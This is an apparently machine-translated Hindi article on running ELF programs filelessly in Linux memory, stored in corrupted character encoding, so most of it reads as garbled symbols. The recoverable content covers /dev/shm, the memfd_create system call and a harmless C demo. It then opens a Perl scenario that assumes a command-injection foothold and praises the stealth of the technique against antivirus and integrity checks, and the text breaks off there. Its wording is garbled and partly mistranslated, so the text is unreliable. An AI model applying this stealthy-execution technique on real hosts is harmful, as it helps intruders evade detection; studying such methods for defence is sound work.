рд╕реНрдореГрддрд┐ рдореЗрдВ рдХрд▓реНрдкрд┐рддред рд▓рд┐рдирдХреНрд╕ рд░реИрдо рдореЗрдВ рдИрдПрд▓рдПрдл рдЪрд▓рд╛рдирд╛


рдлрд╝рд╛рдЗрд▓-рдореБрдХреНрдд рдореИрд▓рд╡реЗрдпрд░ рд╡рд┐рддрд░рдг рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдЬреЛ рдЖрд╢реНрдЪрд░реНрдп рдХреА рдмрд╛рдд рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдРрд╕реЗ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХрд╛ рдХрд╛рдо рд▓рдЧрднрдЧ рдХреЛрдИ рдирд┐рд╢рд╛рди рдирд╣реАрдВ рдЫреЛрдбрд╝рддрд╛ рд╣реИред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╣рдо рд╡рд┐рдВрдбреЛрдЬ рдХреА рдпрд╛рдж рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЪрд▓рд╛рдиреЗ рдХреА рддрдХрдиреАрдХ рдХреЛ рдирд╣реАрдВ рдЫреВрдПрдВрдЧреЗред рд╣рдо GNU / Linux рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рд▓рд┐рдирдХреНрд╕ рд╕рд░реНрд╡рд░ рдЦрдВрдб рдкрд░ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╣рд╛рд╡реА рд╣реИ, рд▓рд╛рдЦреЛрдВ рдПрдореНрдмреЗрдбреЗрдб рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рд░рд╣рддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡реЗрдм рд╕рдВрд╕рд╛рдзрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд▓рд╛, рд╣рдо рдореЗрдореЛрд░реА рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдирд┐рд╖реНрдкрд╛рджрди рдХреНрд╖рдорддрд╛рдУрдВ рдХреА рдПрдХ рдЫреЛрдЯреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдпрд╣ рдХрдард┐рди рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рднреА рд╕рдВрднрд╡ рд╣реИред


рдлрд╝рд╛рдЗрд▓-рдореБрдХреНрдд рдирд┐рд╖реНрдкрд╛рджрди рддрдХрдиреАрдХ рдЧреБрдкреНрдд рд╣реИ, рдЙрдирдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЯреНрд░реИрдХ рдХрд░рдирд╛ рдмреЗрд╣рдж рдореБрд╢реНрдХрд┐рд▓ рд╣реИред рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдЕрдЦрдВрдбрддрд╛ рдирд┐рдпрдВрддреНрд░рдг рдЙрдкрдХрд░рдг рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЛ рдЪреЗрддрд╛рд╡рдиреА рдирд╣реАрдВ рджреЗрдВрдЧреЗ, рдХреНрдпреЛрдВрдХрд┐ рдбрд┐рд╕реНрдХ рдкрд░ рдХреЛрдИ рд▓рд┐рдЦрдиреЗ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдпрд╛ рдбрд┐рд╕реНрдХ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдкрд░рд┐рд╡рд░реНрддрди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ (рдЕрдХреНрд╕рд░ * рдирд┐рдХреНрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкреЗрдХреНрд╖рд┐рдд) рдЕрдХреНрд╕рд░ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдХреЗ рдмрд╛рдж рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдореЛрд░реА рдХреА рдирд┐рдЧрд░рд╛рдиреА рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрдИ рдЬреАрдПрдирдпреВ / рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдгреЛрдВ рдореЗрдВ, рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж, рд╡рд┐рднрд┐рдиреНрди рдбрд┐рдмрдЧрд┐рдВрдЧ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ, рджреБрднрд╛рд╖рд┐рдпреЛрдВ, рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХреЗ рд╕рдВрдХрд▓рдХ рдФрд░ рдЙрдирдХреЗ рд▓рд┐рдП рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреА рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рд╕рдм рдЧреБрдкреНрдд, рдлрд╝рд╛рдЗрд▓-рдореБрдХреНрдд рдХрд╛рд░реНрдпрдХреНрд░рдо рдирд┐рд╖реНрдкрд╛рджрди рдХреА рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрдХреГрд╖реНрдЯ рд╕реНрдерд┐рддрд┐ рдмрдирд╛рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЙрдирдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдлрд╛рдпрджреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕рдХреЗ рдиреБрдХрд╕рд╛рди рднреА рд╣реИрдВ - рдпреЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдмреНрд▓реИрдХрдЖрдЙрдЯ рдпрд╛ рд▓рдХреНрд╖реНрдп рдореЗрдЬрдмрд╛рди рдХреЗ рд░рд┐рдмреВрдЯ рд╕реЗ рдирд╣реАрдВ рдмрдЪрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЬрдм рд╣реЛрд╕реНрдЯ рдЪрд▓ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред


рдРрд╕реА рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдФрд░ рди рдХреЗрд╡рд▓ рдореИрд▓рд╡реЗрдпрд░ рдХреЗ рд╡рд┐рддрд░рдг рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдЖрдкрдХреЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЧрддрд┐ рдЖрдкрдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рддреЛ рдЗрд╕реЗ рд░реИрдо рдореЗрдВ рдЕрдирд▓реЛрдб рдХрд░реЗрдВред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдХрдИ рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдг рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд░реИрдо рдореЗрдВ рдЪрд▓рдиреЗ рдкрд░ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдорд╣рд╕реВрд╕ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдЖрдкрдХреЛ рдЙрди рдкрд░ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдХреЛ рд╕рд╣реЗрдЬреЗ рдмрд┐рдирд╛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдСрдбрд┐рдЯ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ, рд▓рдХреНрд╖реНрдп рдиреЗрдЯрд╡рд░реНрдХ рдХреА рдкрд░рд┐рдзрд┐ рдХреЗ рднреАрддрд░ рдкреЛрд╕реНрдЯ-рдСрдкрд░реЗрд╢рди рдФрд░ рдЦреБрдлрд┐рдпрд╛ рдХреЗ рдПрдХ рдЪрд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЗ рдЧреБрдкреНрдд рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рддрд░реАрдХреЗ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИрдВред рдЦрд╛рд╕рдХрд░ рдЕрдЧрд░ рдЕрдзрд┐рдХрддрдо рдЧреЛрдкрдиреАрдпрддрд╛ рдСрдбрд┐рдЯ рд╢рд░реНрддреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред
2018 рдореЗрдВ barkly.com рдкреЛрд░реНрдЯрд▓ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╕реНрдореГрддрд┐ рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА 35% рд╡рд╛рдпрд░рд╕ рдХреЗ рд╣рдорд▓реЗ рд╣реЛрддреЗ рд╣реИрдВред


рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рд╛рдЗрдмрд░ рдХреНрд░рд┐рдорд┐рдирд▓реНрд╕ рдХреЛрдб рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рддреБрд░рдВрдд рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреЙрд╡рд░реНрд╕рд╢реЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдЗрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрдиреНрдп рдЪреАрдЬреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, Powershell рд╕рд╛рдореНрд░рд╛рдЬреНрдп, Powersploit рдФрд░ Metasploit рдлреНрд░реЗрдорд╡рд░реНрдХ рдЬреИрд╕реЗ рдЪреМрдЦрдЯреЗ рдореЗрдВ рдЙрдирдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рджред


рд▓рд┐рдирдХреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛?


рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдореЗрдЬрдмрд╛рдиреЛрдВ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдг рдореЗрдВ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХрд╛ рдПрдХ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИред рдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░, рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ, рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХреЗ рджреБрднрд╛рд╖рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: рдкрд╛рдпрдерди, рдкрд░реНрд▓, рд╕реА рдХрдВрдкрд╛рдЗрд▓рд░ред PHP рдкрд░рд┐рд╢рд┐рд╖реНрдЯ рдореЗрдВ рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдореМрдЬреВрдж рд╣реИред рдпрд╣ рд╕реНрдерд┐рддрд┐ рдЗрди рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред


рд▓рд┐рдирдХреНрд╕ рдкрд░, рдореЗрдореЛрд░реА рдореЗрдВ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХрдИ рдкреНрд░рд╕рд┐рджреНрдз рд╡рд┐рдХрд▓реНрдк рд╣реИрдВред
рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдкреВрд░реНрд╡-рд╕рд╛рдЭрд╛ рдХрд┐рдП рдЧрдП рд╕рд╛рдЭрд╛ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред


рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ / dev / shm рдпрд╛ / run / shm рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд░рдЦрдХрд░, рдЗрд╕реЗ рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рдпреЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдВ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд░реИрдВрдбрдо рдПрдХреНрд╕реЗрд╕ рдореЗрдореЛрд░реА рд╕реЗ рдЕрдзрд┐рдХ рдХреБрдЫ рдирд╣реАрдВ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА рдЕрдиреНрдп рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреА рддрд░рд╣ рд╣реА ls рдХреЗ рд╕рд╛рде рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ, рдпреЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдиреЙрдЗрдЬрд╝реЗрдХ рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдШреБрдбрд╝рд╕рд╡рд╛рд░ рд╣реИрдВ, рдФрд░ рдЗрди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗрд╡рд▓ рд╕реБрдкрд░рдпреБрд╕рд░ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИред рддреЛ, рдереЛрдбрд╝рд╛ рдФрд░ рдЕрд╕рдВрдЧрдд рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХреБрдЫ рдФрд░ рдЪрд╛рд╣рд┐рдПред


рдЕрдзрд┐рдХ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ memfd_create (2) рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ред рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рд▓рдЧрднрдЧ рдореЙрд▓реЙрдХ (3) рдХреА рддрд░рд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рдореИрдореЛрд░реА рдПрд░рд┐рдпрд╛ рдореЗрдВ рдкреЙрдЗрдВрдЯрд░ рдирд╣реАрдВ рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рдЕрдирд╛рдо рдлрд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░, рдЬреЛ рдХреЗрд╡рд▓ /proc/PID/fd/ рдореЗрдВ рдПрдХ рд▓рд┐рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдирд┐рд╖реНрдкрд╛рджрд┐рдд (реи)ред
рдпрд╣рд╛рдБ рдореЗрдлреНрдб_рдХреНрд░рд┐рдПрдЯ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ (рд░реВрд╕реА рдореЗрдВ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдиреБрдЕрд▓ рдкреЗрдЬ рдХреНрдпрд╛ рдХрд╣рддрд╛ рд╣реИ:


"рдирд╛рдо рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ name рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рддреАрдХрд╛рддреНрдордХ рд▓рд┐рдВрдХ рдХреЗ рд▓рдХреНрд╖реНрдп рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред /proc/self/fd/ ред рдкреНрд░рджрд░реНрд╢рди рдирд╛рдо рд╣рдореЗрд╢рд╛ memfd: рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ memfd: рдФрд░ рдХреЗрд╡рд▓ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╣реИред рдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред "рд╡рд┐рд╡рд░рдгрдХ, рдФрд░ рдЗрд╕рд▓рд┐рдП рдХрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдкрд░рд┐рдгрд╛рдо рдХреЗ рдПрдХ рд╣реА рдирд╛рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИред"


C рднрд╛рд╖рд╛ рдХреЗ рд▓рд┐рдП memfd_create() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг:


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

рдЙрдкрд░реЛрдХреНрдд рдХреЛрдб memfd рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдПрдХ рдмрд╛рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдмрдЪреНрдЪреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреВрд░реА рд╣реЛрдиреЗ рддрдХ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдЗрд╕рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИред рдЖрдорддреМрд░ рдкрд░, рдкрд╛рдЗрдк "|" рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рджреВрд╕рд░реЗ рдореЗрдВ рдЗрдирдкреБрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП * nix рдореЗрдВ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


syscall() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреА рдЧрдИ рднрд╛рд╖рд╛рдУрдВ рдЬреИрд╕реЗ рдкрд░реНрд▓, рдкрд╛рдЗрдерди, рдЖрджрд┐ рдореЗрдВ рднреА рдЙрдкрд▓рдмреНрдз рд╣реИред рдЕрдЧрд▓рд╛, рд╣рдо рд╕рдВрднрд╛рд╡рд┐рдд рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ memfd_create() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред


рдкрд░реНрд▓


рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рд╣реИред
рд╣рдореЗрдВ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд░рд╛рд╕реНрддрд╛ рдЪрд╛рд╣рд┐рдПред
рдкрд░реНрд▓ рдореЗрдВ, syscall () рдлрд╝рдВрдХреНрд╢рди рд╣рдореЗрдВ рдЗрд╕рд╕реЗ рдорджрдж рдХрд░реЗрдЧрд╛ред
рдЕрдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд░реВрдк рдореЗрдВ рд╣рдореЗрдВ рдЕрдкрдиреА рдИрдПрд▓рдПрдл рдХреЛ рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреА рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред
рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрдкрдиреЗ рдИрдПрд▓рдПрдл рдХреЛ рд╕реАрдзреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╢рд░реАрд░ рдореЗрдВ рд░рдЦреЗрдВрдЧреЗ, рдЬреЛ рдмрджрд▓реЗ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЖрдк рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рднреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рд▓реЗрдХрд┐рди рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдпрд╣ рдЖрд░рдХреНрд╖рдг рдХрд░рдиреЗ рд▓рд╛рдпрдХ рд╣реИред рд╣рдореЗрдВ рд▓рдХреНрд╖реНрдп рд╣реЛрд╕реНрдЯ рдкрд░ рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрд╡рд╢реНрдпрдХ memfd_create() рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреЗрд╡рд▓ рд╕рдВрд╕реНрдХрд░рдг 3.17 рдФрд░ рдЙрдЪреНрдЪрддрд░ рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИред


рдЪрд▓реЛ memfd_create() рдкрд░ рдПрдХ рдХрд░реАрдм рд╕реЗ memfd_create() рдФрд░ execve()


рд╣рдорд╛рд░реА рдЕрдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП, рд╣рдо рдирд┐рд░рдВрддрд░ MFD_CLOEXEC рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ, рдЬреЛ "рдПрдХ рдирдП рдЦреБрд▓реЗ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд╡рд░рдгрдХ рдХреЗ рд▓рд┐рдП close-on-exec (FD_CLOEXEC) рдлрд╝реНрд▓реИрдЧ close-on-exec (FD_CLOEXEC) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред" рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ рд╣рдорд╛рд░реА рдлрд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ 